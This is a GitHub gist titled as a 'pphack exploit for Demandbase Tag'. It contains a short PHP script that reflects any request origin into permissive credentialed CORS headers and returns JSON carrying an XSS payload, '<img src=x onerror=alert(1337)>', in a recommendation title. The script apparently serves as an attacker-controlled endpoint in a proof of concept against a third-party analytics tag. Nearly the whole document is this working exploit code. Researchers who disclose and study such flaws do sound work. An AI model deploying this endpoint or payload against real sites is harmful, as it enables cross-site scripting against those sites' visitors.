Skip to content

Instantly share code, notes, and snippets.

@edoardottt
Created January 27, 2025 11:03
Show Gist options
  • Save edoardottt/6ac734f90d324eff35076b5315532a2a to your computer and use it in GitHub Desktop.
Save edoardottt/6ac734f90d324eff35076b5315532a2a to your computer and use it in GitHub Desktop.
pphack exploit for Demandbase Tag
<?php
if ($_SERVER ['HTTP_ORIGIN'])
{
$origin = $_SERVER ['HTTP_ORIGIN'];
}
else
{
preg_match ('/^https?:\/\/[^\/]+/', $_SERVER ['HTTP_REFERER'], $matches);
$origin = $matches [0];
}
header ('Access-Control-Allow-Origin: '.$origin);
header ('Access-Control-Allow-Credentials: true');
header ('Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, HEAD');
header ('Content-Type: application/json');
http_response_code (201);
echo '{"company_name":"XSS","recommendations":[{"title":"<img src=x onerror=alert(1337)>"}],"should_display":true}';
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment